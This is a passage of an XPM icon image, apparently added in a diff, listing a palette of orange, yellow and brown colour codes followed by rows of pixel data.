+"E>. c #E0BE00", +"F>. c #C78400", +"G>. c #D6A500", +"H>. c #E9D500", +"I>. c #ECD500", +"J>. c #C36C00", +"K>. c #D79300", +"L>. c #DD9E00", +"M>. c #D28500", +"N>. c #D29400", +"O>. c #DAA600", +"P>. c #EBB600", +"Q>. c #E4A700", +"R>. c #D78E00", +"S>. c #CC7900", +"T>. c #CE8200", +"U>. c #E9B100", +"V>. c #EDB700", +"W>. c #EAB100", +"X>. c #CC6F00", +"Y>. c #E19C00", +"Z>. c #E8A900", +"`>. c #EEB500", +" ,. c #EEB200", +".,. c #ECAD00", +"+,. c #E6A100", +"@,. c #DE9300", +"#,. c #D27400", +"$,. c #D99700", +"%,. c #D59800", +"&,. c #D55C00", +"*,. c #CC7D03", +"=,. c #4F3A0F", +"-,. c #4E0006", +";,. c #780000", +">,. c #520007", +",,. c #2A110F", +"',. c #442904", +"),. c #7D6B00", +"!,. c #A29100", +"~,. c #C75800", +"{,. c #B13200", +"],. c #E3BD00", +"^,. c #E4B900", +"/,. c #B12600", +"(,. c #D38800", +"_,. c #D47B00", +":,. c #D56D00", +"<,. c #DF8600", +"[,. c #E48A00", +"},. c #E98E00", +"|,. c #E78B00", +"1,. c #E48600", +"2,. c #CA5000", +"3,. c #E2A900", +"4,. c #CC5D00", +"5,. c #D76E00", +"6,. c #D16900", +"7,. c #C35100", +"8,. c #A23300", +"9,. c #A92E00", +"0,. c #C95B00", +"a,. c #DC6C05", +"b,. c #DC7B24", +"c,. c #5B2D19", +"d,. c #B26422", +"e,. c #D57B0F", +"f,. c #C77800", +"g,. c #E4C500", +"h,. c #C06B00", +"i,. c #E3A700", +"j,. c #C87800", +"k,. c #F8EE00", +"l,. c #C36B00", +"m,. c #D68E00", +"n,. c #DE9E00", +"o,. c #EBB400", +"p,. c #E8AF00", +"q,. c #E5A900", +"r,. c #E2A300", +"s,. c #DF9D00", +"t,. c #DE9A00", +"u,. c #E09C00", +"v,. c #E4A300", +"w,. c #E8AC00", +"x,. c #EBB100", +"y,. c #E9AD00", +"z,. c #E29F00", +"A,. c #EED300", +"B,. c #D07C00", +"C,. c #DB8D00", +"D,. c #E3A000", +"E,. c #EAAC00", +"F,. c #EEB300", +"G,. c #EDB100", +"H,. c #EDB000", +"I,. c #EEB000", +"J,. c #ECAC00", +"K,. c #DF9400", +"L,. c #D77E00", +"M,. c #BC4C00", +"N,. c #E07700", +"O,. c #E8DD03", +"P,. c #6A4D0C", +"Q,. c #57120C", +"R,. c #6A620C", +"S,. c #795903", +"T,. c #7E3700", +"U,. c #DCD600", +"V,. c #D88D00", +"W,. c #D16B00", +"X,. c #CF6C00", +"Y,. c #CB6B00", +"Z,. c #C96700", +"`,. c #D69500", +" '. c #E3BF00", +".'. c #BE4800", +"+'. c #BE4400", +"@'. c #F0D900", +"#'. c #F2DA00", +"$'. c #CC5900", +"%'. c #E68B00", +"&'. c #E88F00", +"*'. c #E88C00", +"='. c #E78800", +"-'. c #E38100", +";'. c #D66E00", +">'. c #CB5900", +",'. c #F6EB00", +"''. c #E3A800", +")'. c #CD5400", +"!'. c #D56C00", +"~'. c #CC6100", +"{'. c #A52700", +"]'. c #BD8000", +"^'. c #C24C00", +"/'. c #D86904", +"('. c #D77923", +"_'. c #7C431D", +":'. c #BA6724", +"<'. c #E59410", +"['. c #C46D00", +"}'. c #D9A300", +"|'. c #CF8E00", +"1'. c #E2A100", +"2'. c #E6A900", +"3'. c #E7AB00", +"4'. c #DA9500", +"5'. c #C66D00", +"6'. c #E3A300", +"7'. c #EBB200", +"8'. c #EAAF00", +"9'. c #E9AC00", +"0'. c #E7AA00", +"a'. c #E7A800", +"b'. c #EBAF00", +"c'. c #E09A00", +"d'. c #D78400", +"e'. c #FCF700", +"f'. c #F0D700", +"g'. c #CE7100", +"h'. c #DE9500", +"i'. c #E5A100", +"j'. c #EBAC00", +"k'. c #EEB100", +"l'. c #EDAF00", +"m'. c #EDAD00", +"n'. c #EBA800", +"o'. c #E49C00", +"p'. c #DE8F00", +"q'. c #D57D00", +"r'. c #CD7100", +"s'. c #FAF900", +"t'. c #E6C200", +"u'. c #C24E00", +"v'. c #FBDB00", +"w'. c #E49500", +"x'. c #BD6303", +"y'. c #EFD900", +"z'. c #BB5600", +"A'. c #EDD100", +"B'. c #EECB00", +"C'. c #CC5C00", +"D'. c #D27300", +"E'. c #C45200", +"F'. c #EACC00", +"G'. c #CA6F00", +"H'. c #E9D100", +"I'. c #C75F00", +"J'. c #C65200", +"K'. c #D27B00", +"L'. c #FCFE00", +"M'. c #DC8C00", +"N'. c #D66B00", +"O'. c #E48800", +"P'. c #E78D00", +"Q'. c #E98D00", +"R'. c #E98B00", +"S'. c #E88900", +"T'. c #E58500", +"U'. c #CE5400", +"V'. c #F3E000", +"W'. c #CF5C00", +"X'. c #D96F00", +"Y'. c #DC7300", +"Z'. c #CE6300", +"`'. c #B73D00", +" ). c #B75C00", +".). c #BA3E00", +"+). c #D56504", +"@). c #D37622", +"#). c #4B1B25", +"$). c #C26A25", +"%). c #EC9911", +"&). c #D88E00", +"*). c #CE7A00", +"=). c #CA7200", +"-). c #CA7300", +";). c #D07D00", +">). c #DD9700", +",). c #E09D00", +"'). c #EAAD00", +")). c #EAAE00", +"!). c #E5A400", +"~). c #DD9800", +"{). c #CE7600", +"]). c #D49600", +"^). c #EACB00", +"/). c #C36200", +"(). c #D88C00", +"_). c #E8AA00", +":). c #ECB100", +"<). c #EDB500", +"[). c #EBAE00", +"}). c #DE9700", +"|). c #CF6D00", +"1). c #D47600", +"2). c #E29800", +"3). c #E8A300", +"4). c #ECAA00", +"5). c #EAA800", +"6). c #D47800", +"7). c #CD6D00", +"8). c #C24500", +"9). c #D99200", +"0). c #EDD800", +"a). c #D56400", +"b). c #EECC00", +"c). c #CF6500", +"d). c #D46D00", +"e). c #F8EF00", +"f). c #D26C00", +"g). c #EDD300", +"h). c #C86000", +"i). c #EED700", +"j). c #CC6000", +"k). c #C74D00", +"l). c #EFD300", +"m). c #F2D800", +"n). c #D25E00", +"o). c #E38600", +"p). c #E98C00", +"q). c #E98A00", +"r). c #E78700", +"s). c #E38000", +"t). c #D86D00", +"u). c #D16700", +"v). c #F2DD00", +"w). c #DF9100", +"x). c #D56100", +"y). c #DD7500", +"z). c #DB7100", +"A). c #C34E00", +"B). c #B04400", +"C). c #C98200", +"D). c #B53200", +"E). c #D46304", +"F). c #D07522", +"G). c #7A431D", +"H). c #C86D27", +"I). c #F39F11", +"J). c #E4A600", +"K). c #DC9500", +"L). c #E19B00", +"M). c #E7A600", +"N). c #ECB000", +"O). c #ECAF00", +"P). c #E8A800", +"Q). c #E29E00", +"R). c #D98D00", +"S). c #C86D00", +"T). c #F1DD00", +"U). c #D49100", +"V). c #CE7000", +"W). c #EEB600", +"X). c #EFB600", +"Y). c #E49F00", +"Z). c #DB8600", +"`). c #FBF500", +" !. c #FBF300", +".!. c #E59D00", +"+!. c #EEAF00", +"@!. c #EDAE00", +"#!. c #ECAB00", +"$!. c #EAA700", +"%!. c #E9A200", +"&!. c #E59900", +"*!. c #D26900", +"=!. c #D27700", +"-!. c #E2AA00", +";!. c #C44300", +">!. c #E3AE00", +",!. c #EBC900", +"'!. c #D26800", +")!. c #D36A00", +"!!. c #F1CE00", +"~!. c #D56A00", +"{!. c #DB7E00", +"]!. c #D26700", +"^!. c #F4E000", +"/!. c #E9BA00", +"(!. c #D06000", +"_!. c #CF6100", +":!. c #F3E100", +"~. c #D26200", +",~. c #BC3800", +"'~. c #EFCF00", +")~. c #C04000", +"!~. c #D66001", +"~~. c #D07421", +"{~. c #FFD4B1", +"]~. c #5C2B1A", +"^~. c #62301A", +"/~. c #D77628", +"(~. c #FFA618", +"_~. c #F3AD06", +":~. c #F3A706", +"<~. c #F3A806", +"[~. c #F3A906", +"}~. c #F3AA06", +"|~. c #F3AB06", +"1~. c #F4AC06", +"2~. c #F4AD06", +"3~. c #F4AE06", +"4~. c #F4AF06", +"5~. c #EFA705", +"6~. c #E99E05", +"7~. c #E39505", +"8~. c #D37204", +"9~. c #E2A804", +"0~. c #FFFF04", +"a~. c #F8DE04", +"b~. c #E19005", +"c~. c #EB9E05", +"d~. c #F2AB05", +"e~. c #F5B106", +"f~. c #F6B206", +"g~. c #F6B106", +"h~. c #F7B206", +"i~. c #F4AE05", +"j~. c #F0A505", +"k~. c #E89505", +"l~. c #F0C105", +"m~. c #EFC304", +"n~. c #D97504", +"o~. c #E79605", +"p~. c #EDA005", +"q~. c #F1A805", +"r~. c #F6AD05", +"s~. c #F7B006", +"t~. c #F7AF06", +"u~. c #F6AA05", +"v~. c #F2A305", +"w~. c #F4C105", +"x~. c #FADD05", +"y~. c #FDF004", +"z~. c #FCEF04", +"A~. c #F2CE04", +"B~. c #FDF104", +"C~. c #F8E104", +"D~. c #D77304", +"E~. c #DA6E04", +"F~. c #F3CD04", +"G~. c #F0BD05", +"H~. c #E37F05", +"I~. c #F7D605", +"J~. c #F2BC05", +"K~. c #E47C05", +"L~. c #E78A05", +"M~. c #ECA005", +"N~. c #FCE605", +"O~. c #E38505", +"P~. c #DD6C05", +"Q~. c #E79F04", +"R~. c #F5D404", +"S~. c #DA6F05", +"T~. c #F4CD05", +"U~. c #E99F05", +"V~. c #DF7105", +"W~. c #E47F05", +"X~. c #DF7005", +"Y~. c #F8D805", +"Z~. c #F4BF05", +"`~. c #E47105", +" {. c #EC8705", +".{. c #EF8B05", +"+{. c #F28F06", +"@{. c #F38E06", +"#{. c #F28D06", +"${. c #F18D06", +"%{. c #F18B06", +"&{. c #EF8705", +"*{. c #EB8105", +"={. c #EA8F05", +"-{. c #E16B05", +";{. c #F2BB05", +">{. c #F2B705", +",{. c #E06205", +"'{. c #E87A05", +"){. c #E97A05", +"!{. c #E57505", +"~{. c #DD6D05", +"{{. c #CC4A04", +"]{. c #DA9104", +"^{. c #FFF804", +"/{. c #F5D604", +"({. c #CD5504", +"_{. c #E0660A", +":{. c #DE7C25", +"<{. c #7D451B", +"[{. c #4D2020", +"}{. c #FEB378", +"|{. c #FFDEC5", +"1{. c #CF6505", +"2{. c #663217", +"3{. c #5A2A1D", +"4{. c #BA6A1C", +"5{. c #F18928", +"6{. c #E58326", +"7{. c #E48226", +"8{. c #E48126", +"9{. c #E38126", +"0{. c #DE7E25", +"a{. c #D57923", +"b{. c #CC7421", +"c{. c #C36F20", +"d{. c #B75F1E", +"e{. c #BD6F1F", +"f{. c #C88020", +"g{. c #CD7921", +"h{. c #D57723", +"i{. c #E38226", +"j{. c #DF8025", +"k{. c #D87A24", +"l{. c #D07822", +"m{. c #CD8421", +"n{. c #C3751F", +"o{. c #BC621F", +"p{. c #C46D20", +"q{. c #CD7721", +"r{. c #D67A23", +"s{. c #DD7E25", +"t{. c #E07F25", +"u{. c #DC7B25", +"v{. c #D78023", +"w{. c #D48A22", +"x{. c #CC8620", +"y{. c #C1791F", +"z{. c #BC761E", +"A{. c #BD821D", +"B{. c #B6741D", +"C{. c #B0621D", +"D{. c #B8651E", +"E{. c #C27020", +"F{. c #C57520", +"G{. c #C77020", +"H{. c #CD7521", +"I{. c #CD7422", +"J{. c #D07622", +"K{. c #CF7522", +"L{. c #CD7421", +"M{. c #CC7821", +"N{. c #CB7421", +"O{. c #C76F21", +"P{. c #C47220", +"Q{. c #C56E20", +"R{. c #C77420", +"S{. c #C77121", +"T{. c #CB7321", +"U{. c #CE7422", +"V{. c #CD7221", +"W{. c #CE7621", +"X{. c #D27822", +"Y{. c #D67823", +"Z{. c #DA7B24", +"`{. c #DF7E25", +" ]. c #E38026", +".]. c #E17E25", +"+]. c #DD7C25", +"@]. c #D87923", +"#]. c #D47623", +"$]. c #D27922", +"%]. c #D67723", +"&]. c #DB7B24", +"*]. c #D77823", +"=]. c #C36D20", +"-]. c #B36B1D", +";]. c #B96E1E", +">]. c #C26D1F", +",]. c #D77824", +"']. c #CA741D", +")]. c #6E381B", +"!]. c #52241D", +"~]. c #AE4D00", +"{]. c #FFBE8D", +"]]. c #FFF9F5", +"^]. c #EA832C", +"/]. c #7E3C07", +"(]. c #471A25", +"_]. c #552125", +":]. c #66321C", +"<]. c #7D411A", +"[]. c #7D3F1D", +"}]. c #7B3F1D", +"|]. c #7B3E1D", +"1]. c #7A3E1D", +"2]. c #773D1C", +"3]. c #733B1B", +"4]. c #703A1B", +"5]. c #6C371A", +"6]. c #692F1A", +"7]. c #6B301B", +"8]. c #71391B", +"9]. c #753C1C", +"0]. c #783C1D", +"a]. c #793D1D", +"b]. c #763D1C", +"c]. c #6E331B", +"d]. c #6A301A", +"e]. c #6C361A", +"f]. c #703B1B", +"g]. c #763C1C", +"h]. c #793E1D", +"i]. c #783D1C", +"j]. c #74391C", +"k]. c #6F331B", +"l]. c #6B301A", +"m]. c #662E19", +"n]. c #642C19", +"o]. c #632C19", +"p]. c #622C19", +"q]. c #642F19", +"r]. c #6B391A", +"s]. c #6E3B1A", +"t]. c #6E341B", +"u]. c #70371B", +"v]. c #723D1B", +"w]. c #71351B", +"x]. c #72391B", +"y]. c #743E1C", +"z]. c #733D1C", +"A]. c #723A1B", +"B]. c #70341B", +"C]. c #713B1B", +"D]. c #713D1B", +"E]. c #6E371B", +"F]. c #6D331B", +"G]. c #703C1B", +"H]. c #70391B", +"I]. c #733D1B", +"J]. c #743D1B", +"K]. c #743E1B", +"L]. c #71361B", +"M]. c #73391C", +"N]. c #77401C", +"O]. c #783F1C", +"P]. c #79401D", +"Q]. c #7B411D", +"R]. c #7C411D", +"S]. c #773F1C", +"T]. c #76411C", +"U]. c #77411C", +"V]. c #78401C", +"W]. c #79401C", +"X]. c #743F1C", +"Y]. c #713F1B", +"Z]. c #6B371A", +"`]. c #652D19", +" ^. c #683119", +".^. c #703E1A", +"+^. c #77421A", +"@^. c #582422", +"#^. c #4C1A28", +"$^. c #603118", +"%^. c #FFD9BD", +"&^. c #FBAF77", +"*^. c #B64B00", +"=^. c #572D1A", +"-^. c #491925", +";^. c #481924", +">^. c #491924", +",^. c #471924", +"'^. c #431822", +")^. c #451923", +"!^. c #481923", +"~^. c #461922", +"{^. c #4B1A28", +"]^. c #4B2220", +"^^. c #974500", +"/^. c #F08531", +"(^. c #FFF6F2", +"_^. c #F38532", +":^. c #B14B00", +"<^. c #6B3713", +"[^. c #4E211F", +"}^. c #4F221F", +"|^. c #4D211E", +"1^. c #4B201D", +"2^. c #4D201F", +"3^. c #51241D", +"4^. c #603119", +"5^. c #E46701", +"6^. c #FFDDC7", +"7^. c #FFF1EA", +"8^. c #F89953", +"9^. c #D76501", +"0^. c #B65100", +"a^. c #A24600", +"b^. c #F0832E", +"c^. c #FFD9C1", +"d^. c #FFDCC5", +"e^. c #FEB57B", +"f^. c #FEB67D", +"g^. c #FEB77F", +"h^. c #FEB87F", +"i^. c #FDB479", +"j^. c #FFBF8E", +"k^. c #FFD4B5", +"l^. c #FFFBFB", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . + @ # $ % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % & * = - . . . . . . ", +" . . . . ; > , ' ) ! ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ { ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ] ^ / ( _ . . . . . ", +" . . . . ; : < [ } | 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | 3 3 4 3 5 1 1 1 1 2 2 1 | | 3 3 6 | 1 1 1 1 | | 6 6 | 1 1 2 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | | | 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 8 9 0 a b . . . . ", +" . . . . c d e f g h i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i j j k l m m n m k o j i i i p k k q q q k k r r r o o k q q q k r i i i i i i i i i i i i p o k k k k o j i i i i i i i i i i i i i i i p g i s t u v . . . ", +" . . . w x y z A B C D E E E E E E E F F F F F F F F F G G G G G G G G G G G G G H H H H H H H I J K L M N N O P Q R S T T U V W X Y Z ` Z L X X . X .. +. @. Z #. X $. J S H %. %. %. %. %. %. &. &. *. =. -. Q ;. >. ,. '. ). &. !. !. !. !. !. !. !. !. !. ~. ~. C C C {. ]. ^. /. (. _. :. . . . . ", +". . . . <. [. }. |. 1. 2. 3. 4. 5. 5. 6. 6. 6. 6. 6. 6. 6. 6. 6. 6. 5. 6. 6. 7. 6. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 8. 9. 0. a. b. c. d. e. b. a. f. g. h. i. j. k. f. l. m. n. o. p. q. r. s. t. t. m. u. v. w. x. o. y. z. A. B. h. 8. 7. C. D. 7. C. C. E. F. G. H. I. J. K. L. M. g. N. O. O. P. P. O. Q. D. R. R. R. S. S. S. R. 3. T. U. V. W. ! X. . . . . ", +". . . . Y. Z. `. h + .+ ++ @+ #+ $+ %+ &+ *+ =+ -+ ;+ >+ ,+ '+ )+ !+ ~+ {+ ]+ ^+ /+ (+ _+ :+ <+ [+ }+ |+ 1+ 2+ 3+ 4+ 5+ 6+ 7+ 8+ 9+ 0+ a+ b+ c+ d+ e+ f+ g+ h+ i+ j+ k+ l+ m+ m+ m+ n+ o+ p+ q+ r+ s+ r+ t+ u+ v+ w+ x+ y+ z+ A+ B+ C+ D+ E+ F+ G+ H+ I+ J+ K+ L+ M+ N+ O+ P+ Q+ R+ S+ T+ U+ V+ W+ X+ Y+ Z+ `+ @ .@ +@ @@ #@ $@ %@ &@ *@ =@ -@ ;@ >@ ,@ '@ )@ !@ r ~@ {@ ]@ . . . . ", +". . . . ^@ /@ (@ g _@ :@ <@ [@ }@ |@ 1@ 2@ 3@ 4@ 5@ 6@ 7@ 8@ 9@ 0@ a@ b@ c@ d@ e@ f@ g@ h@ i@ j@ k@ l@ m@ n@ o@ p@ q@ r@ s@ t@ u@ v@ w@ x@ y@ z@ A@ B@ C@ D@ E@ F@ G@ H@ I@ J@ K@ L@ M@ N@ O@ P@ Q@ R@ S@ T@ U@ V@ W@ X@ Y@ Z@ `@ # .# C@ +# @# ## $# %# &# *# =# -# ;# ># ,# '# )# !# ~# {# ]# ^# /# (# _# :# <# [# }# |# 1# 2# 3# 4# 5# 6# 7# 8# 9# 0# a# b# c# d# e# f# g# . . . . ", +". . . . h# i# j# g _@ k# l# m# n# o# p# q# r# s# t# u# v# w# x# y# z# A# B# C# D# E# F# G# H# I# J# K# L# M# N# O# P# Q# R# S# T# U# V# W# X# Y# Z# `# $ .$ +$ @$ #$ $$ %$ &$ *$ =$ -$ ;$ >$ ,$ '$ )$ !$ ~$ {$ ]$ ^$ /$ ($ _$ :$ <$ [$ }$ |$ 1$ 2$ 3$ 4$ 5$ 6$ 7$ 8$ 9$ 0$ a$ b$ c$ d$ e$ f$ g$ h$ i$ j$ k$ l$ m$ n$ o$ p$ q$ r$ s$ t$ u$ v$ w$ x$ y$ z$ A$ B$ C$ d# e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F$ G$ H$ I$ J$ K$ L$ M$ N$ t# u# O$ P$ x# y# z# A# Q$ R$ S$ T$ F# G# U$ I# J# V$ L# W$ X$ N# Y$ Q# R# Z$ `$ % .% +% @% #% m@ $% %% &% *% =% -% ;% ;% >% ,% '% )% !% ~% {% ]% ^% /% (% _% :% <% [% }% |% 1% 2% 3% 4% 5% 6% 7% 8% 9% 0% a% b% 0$ a$ c% d% e% f% g% h% i% j% k% l% m% n% o% p% q% r% s% t% u% v% w% x% y% z% A% B% C% D% C$ E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F% G% H% I% I$ J$ K$ L$ s# J% K% v# w# L% x# y# z# A# Q$ R$ S$ T$ F# G# H# I# J# V$ L# W$ X$ N# Y$ P# Q# M% N% O% P% Q% R% S% T% U% V% W% X% Y% Z% Z% `% & .& +& @& #& $& %& && *& =& -& ;& >& ,& '& )& !& ~& {& ]& ^& /& (& _& :& <& [& }& |& 1& 2& 3& 4& 5& 6& 7& 8& 9& 0& a& b& c& d& e& f& g& h& i& j& k& l& m& n& o& p& q& r& s& t& E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# u& v& w& H$ n# x& p# q# r# s# J% K% v# w# L% y& z& A& B& Q$ R$ S$ T$ F# G# U$ I# C& V$ L# W$ M# N# O# Y$ D& E& F& G& H& I& J& K& L& M& N& O& P& P& Q& R& S& T& U& V& W& X& Y& Z& `& * .* +* @* #* $* %* &* ** =* -* ;* >* ,* o@ '* )* !* ~* {* ]* ^* /* (* _* :* <* [* }* |* 1* 2* 3* 4* 5* 6* 7* 8* 9* 0* a* b* c* d* e* f* g* h* i* j* E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# k* l* m* w& H$ n# x& p# L$ M$ s# J% K% v# w# L% y& z& A& A# Q$ R$ S$ E# F# G# U$ I# C& V$ K# L# M# X$ n* o* p* q* r* s* t* u* v* .% w* x* x* y* y* z* A* B* C* D* E* F* G* H* $% I* J* K* q@ L* -* M* N* O* P* Q* R* S* T* U* V* W* X* Y* Z* `* = .= += @= #= $= %= &= *= == -= ;= >= ,= '= )= != ~= {= ]= ^= /= (= _= := <= [= }= |= 1= 2= e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= 4= 5= 6= 7= H% I% 8= J$ K$ L$ M$ N$ t# u# O$ P$ L% y& 9= A& B& 0= R$ D# E# T$ a= U$ H# C& J# V$ L# W$ b= c= d= e= f= g= h= i= j= k= l= m= m= m= n= w* o= p= q= r= s= t= u= v= w= x= y= z= A= B= C= D= E= F= G= H= I= J= K= L= M= N= O= P= Q= R= S= T= U= V= W= X= Y= Z= `= - .- +- @- #- $- %- &- *- =- -- ;- >- ,- '- )- !- ~- {- ]- ^- /- e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (- _- :- <- 7= H% [- 8= J$ K$ L$ M$ N$ t# u# O$ P$ }- |- 1- 2- 3- 4- 5- D# E# 6- 7- G# H# I# C& 8- K# 9- 0- a- b- c- d- e- f- g- h- i- j- k- k- l= l- m- n- o- p- P% q- q- r- s- t- u- v- w- x- y- z- A- B- C- D- E- F- G- H- I- J- K- L- M- N- O- P- Q- R- S- T- Z= U- V- W- X- Y- Z- `- [@ ; .; +; @; #; $; %; &; *; =; -; ;; >; ,; '; ); !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= ~; {; ]; 6= m* w& H$ n# x& p# q# r# M$ N$ ^; /; (; _; :; <; [; }; |; 1; 2; 3; 4; 5; 6; 7; 8; 9; 0; a; b; c; d; e; f; g; h; i; j; k; l; m; m; m; n; o; p; q; r; s; t; u; v; w; x; y; z; A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T; U; V; W; X; Y; Z; `; > .> +> @> #> $> %> &> *> => -> ;> >> ,> '> )> !> ~> )- {> ]> ^> /> !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (> _> :> ]; 6= m* w& H$ n# x& p# q# <> [> }> |> 1> 2> 3> 4> 5> 6> 7> 8> 9> 0> a> b> c> d> e> f> e> g> h> i> j> k> l> m> n> o> p> o* q> r> s> s> t> u> v> w> x> y> z> s- A> B> C> D> E> F> G> H> I> J> K> L> M> H; N> O> K; P> Q> R> S> T> U> V> W> X> Y> Z> `> , ., +, @, #, $, %, &, *, =, -, ;, >, ,, ', ), !, ~, {, ], ^, /, (, _, :, <, [, D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= }, |, 1, 2, :- 6= 7= w& I% n# o# 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f, g, h, i, j, k, l, e@ m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, A, B, C, D, E, F, G, s@ H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Y, Z, `, ' S> .' +' @' #' $' %' &' *' =' -' ;' >' ,' '' )' !' ~' {' ]' ^' /' (' _' :' <' [' }' |' 1' 2' 3' 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= 7' 8' 9' 1, 2, :- <- 7= H% I% 0' a' b' c' d' e' f' g' h' i' j' k' l' m' n' o' p' q' r' s' t' u' v' w' x' y' z' A' B' C' D' E' F' G' H' I' I' J' b= K' L' M' N' O' P' Q' R' S' T' U' V' W' X' Y' Z' `' ) .) +) @) #) $) %) %) &) *) =) -) ;) >) ,) ') )) !) ~) {) ]) ^) /) () _) :) <) [) }) c* |) 1) 2) 3) 4) 5) 6) 7) 8) 9) 0) a) b) 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= c) d) e) f) g) 2, :- <- 7= h) i) j) k) l) m) n) o) p) q) r) s) t) u) v) w) x) y) z) A) B) C) D) E) F) G) H) I) J) K) L) M) N) O) P) Q) R) S) S) T) T) H' U) A> V) W) X) Y) Z) `) ! .! +! @! #! $! %! &! *! =! -! ;! >! ,! '! )! !! ~! {! ]! ^! .' /! (! _! :! ~ ,~ '~ )~ !~ ~~ {~ ]~ ^~ /~ (~ _~ :~ <~ [~ }~ |~ 1~ 2~ 3~ 4~ 5~ 6~ 7~ 8~ 9~ 0~ a~ b~ c~ d~ e~ f~ g~ h~ i~ j~ k~ l~ m~ n~ o~ p~ q~ r~ s~ t~ u~ [, v~ E$ . . . . ", +". . . . h# i# j# g _@ l! w~ x~ y~ o! e) f) g) z~ A~ B~ C~ D~ E~ F~ G~ H~ I~ J~ K~ L~ M~ g' N~ O~ P~ Q~ R~ S~ T~ U~ V~ W~ X~ Y~ Z~ `~ { .{ +{ @{ #{ ${ %{ &{ *{ ={ -{ ;{ ;{ >{ n@ ,{ '{ ){ !{ ~{ {{ ]{ ^{ /{ ({ _{ :{ <{ [{ }{ |{ 1{ 2{ 3{ 4{ 5{ 6{ 7{ 8{ 9{ 0{ a{ b{ c{ d{ e{ f{ g{ h{ i{ j{ k{ l{ m{ n{ o{ p{ q{ r{ s{ t{ u{ v{ w{ x{ y{ z{ A{ B{ C{ D{ E{ F{ G{ H{ [, f# E$ . . . . ", +". . . . h# i# j# g I{ J{ K{ L{ M{ N{ O{ e) f) g) P{ Q{ R{ S{ T{ U{ V{ W{ X{ Y{ Z{ `{ ] .] +] @] #] $] %] &] *] =] -] ;] >] ,] '] )] !] ~] {] ]] ^] /] (] _] :] <] [] }] |] 1] 2] 3] 4] 5] ~{ {{ ]{ ^{ /{ 6] 7] 8] 9] 0] a] b] c] d] e] f] g] h] i] j] k] l] m] n] o] p] q] r] s] t] u] v] w] x] y] z] A] B] C] D] E] F] G] H] I] J] K] L] M] N] O] P] Q] R] S] T] U] !; D$ E$ . . . . ", +". . . . h# i# j# g I{ J{ V] W] X] M{ N{ O{ e) Y] Z] `] ^ .^ +^ 0) @^ #^ $^ %^ &^ *^ =^ -^ ;^ >^ ,^ '^ )^ Z= !^ ~^ {^ ]^ ^^ /^ (^ _^ :^ <^ [^ }^ |^ 1^ 2^ 3^ 4^ 5^ 6^ 7^ 8^ 9^ 0^ a^ b^ c^ d^ {{ e^ f^ g^ h^ i^ j^ k^ l^ m^ n^ o^ p^ q^ r^ s^ t^ u^ v^ w^ x^ y^ z^ A^ B^ C^ D^ E^ F^ G^ H^ I^ J^ K^ L^ M^ N^ O^ P^ Q^ R^ S^ T^ U^ V^ W^ X^ Y^ Z^ `^ / ./ +/ @/ #/ U] $/ D$ E$ . . . . ", +". . . . h# i# j# g I{ J{ %/ &/ */ X] M{ N{ =/ -/ ;/ >/ ,/ '/ )/ !/ ~/ {/ ]/ ^/ // (/ _/ :/ ( ,( '( )( X] M{ !( ~( {( ]( ^( /( (( _( :( <( [( }( /, |( 1( 2( 3( x! y! 4( 5( O$ 6( 7( 8( 9( 0( a( b( c( d( e( f( g( h( i( j( k( l( m( n( J' o( p( q( r( s( t( m/ %~ t( u( v( w( x( y( z( A( B( C( D( E( F( G( H( I( J( K( L( M( N( O( P( Q( R( S( T( U( V( W( X( Y( Z( `( _ ._ +_ @_ #_ $_ 0) %_ &_ *_ =_ -_ ;_ >_ ,_ '_ )_ !_ ~_ {_ U] $/ D$ E$ . . . . 